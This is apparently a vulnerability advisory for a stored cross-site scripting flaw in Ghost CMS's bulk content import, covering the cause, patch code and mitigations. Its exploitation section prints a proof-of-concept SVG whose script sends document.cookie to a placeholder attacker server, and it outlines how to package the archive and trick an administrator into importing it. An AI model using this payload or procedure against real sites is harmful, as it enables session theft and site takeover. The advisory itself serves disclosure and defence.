CVE-2026-105644: Stored Cross-Site Scripting via Malicious SVG Content Import in Ghost CMS

Ghost is an open-source publishing platform and Node.js content management system widely used for professional publishing. The platform exposes a content import surface that allows administrative users to upload bulk ZIP files containing site data, databases, configuration settings, and associated media assets.

From version 4.0.0 until 6.67.0, Ghost did not sanitize Scalable Vector Graphics (SVG) files included inside content archives during the data import process. Since SVG is an XML-based image format, it can embed HTML elements, JavaScript blocks via <script> tags, and execution event handlers. This creates a Stored Cross-Site Scripting (XSS) condition, classified under CWE-79 and CWE-434.

An attacker who successfully induces an administrative user to import a crafted content file can plant malicious SVG images on the victim's domain. Once stored, accessing the direct URL of these files executes the embedded JavaScript under the security origin of the website, bypassing browser-based isolation policies.

The root cause of CVE-2026-105644 lies in the implementation of the image importer module (ghost/core/core/server/data/importer/handlers/image.js). Prior to version 6.67.0, the handler identified and verified incoming image assets using file extension checks alone, referencing the configurations for allowed uploads.

While standard HTTP image uploads directly via the administrative panel API interface were subjected to sanitization middleware, the files extracted from bulk content imports bypassed these sanitization boundaries. There was no server-side SVG sanitization performed during the extraction phase of a content archive import.

Furthermore, the system lacked content verification mechanism such as magic byte validation to confirm that files with image extensions (such as .jpg or .png) actually corresponded to safe, non-executable content. This allowed an attacker to include an executable HTML or SVG payload disguised under an arbitrary permitted image extension, or directly use .svg and .svgz file types within the archive structure.

The vulnerability was fixed in commit 1be06f4e95a5eb159d14abda7660e689af13cff1 by integrating a multi-tiered file validation framework. The patch integrates a custom SVG sanitization utility (ghost/core/core/server/lib/image/svg-sanitizer.ts) which leverages jsdom and dompurify to sanitize XML elements in SVG files.

// Sanitize SVG content using DOMPurify
export function sanitizeSvgContent(content: string): string | null {
  const { JSDOM } = require('jsdom');
  const createDOMPurify = require('dompurify');
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
 
  const sanitized = DOMPurify.sanitize(content, { USE_PROFILES: { svg: true, svgFilters: true } });
  const validSvgTag = sanitized?.match(/<svg[^>]*>\s*[\S]+[\S\s]*<\/svg>/);
  if (!sanitized || sanitized.trim() === '' || !validSvgTag) {
    return null;
  }
  return sanitized;
}

The fix also implements path validation constraints to prevent path traversal attacks or writing files to unauthorized locations, ensuring that all processing is restricted to files inside the temporary system directory (os.tmpdir()):

const resolvedPath = path.resolve(filepath);
if (!resolvedPath.startsWith(path.resolve(os.tmpdir()) + path.sep)) {
  logging.error(`Refused to sanitize SVG outside the temp directory: ${filepath}`);
  return false;
}

Additionally, the patch hardens the image-processing layer by restricting the decoders allowed in the sharp library (which uses native libvips bindings), mitigating risks associated with parser-level buffer overflows or memory safety issues.

export function restrictImageDecoders(extensions, { requireSharp }) {
  const sharp = requireSharp();
  if (!sharp) return;
  sharp.block({ operation: ['VipsForeignLoad'] });
  sharp.unblock({ operation: getAllowedImageLoaders(extensions) });
}

Exploitation of CVE-2026-105644 requires user interaction from an administrative user of the Ghost CMS instance. An attacker must first construct a malicious SVG file containing standard script execution blocks or event-driven handlers that reference the target action.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" />
  <script type="text/javascript">
    fetch('https://attacker.controlled.server/steal?cookie=' + document.cookie);
  </script>
</svg>

The attacker packages the malicious file into a ZIP archive matching the folder structure expected by the Ghost database importer. The ZIP archive is structured with a root directory containing a posts.csv metadata file and a sub-folder path such as content/images/avatar.svg.

Once the archive is prepared, the attacker must utilize social engineering or other vectors to convince an authorized administrator of the target Ghost instance to navigate to /ghost/#/settings/labs and perform a content import. Once imported, the SVG file is written to the persistent file system at /content/images/avatar.svg. The attacker can then trigger the stored script execution whenever an active administrative session accesses the resource URL directly.

The security impact of CVE-2026-105644 is substantial due to the context of the execution origin. When an SVG file is accessed directly from the host static asset path, the web browser parses and executes the embedded script within the domain origin of the Ghost CMS installation.

Because the script runs in the context of an authenticated session, the attacker can hijack administrative cookies, capture active session tokens, and bypass Cross-Site Request Forgery (CSRF) protections. This allows the attacker to execute administrative commands, such as adding new administrative users, modifying existing post content, or altering platform configurations.

The CVSS v3.1 base score is calculated at 6.8 (Medium), with a high complexity (AC:H) because exploitation depends on convincing an administrative user to import a malicious ZIP file. However, should an administrator execute the import, the confidentiality and integrity impact is high, leading to complete compromise of the content management platform.

The primary mitigation for this vulnerability is upgrading the Ghost CMS installation to version 6.67.0 or higher, which incorporates the server-side sanitization, magic byte checks, and native decoder constraints.

If immediate upgrading is not possible, administrators should deploy external protective controls. Deploying a Content Security Policy (CSP) header on the web server or reverse proxy (e.g., Nginx) that targets the asset directory /content/images/ is recommended. This policy should disable script execution for SVG content.

Content-Security-Policy: default-src 'none'; frame-ancestors 'none';

Additionally, administrators can mitigate the risk of origin-based exploitation by hosting static assets on a completely separate domain (e.g., ghostassets.com instead of the primary domain). This ensures that any script execution triggered by accessing a direct SVG file link is sandboxed away from the core administrative API.